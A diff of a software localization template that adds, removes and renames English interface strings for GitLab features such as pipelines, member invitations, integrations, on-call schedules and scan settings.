+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
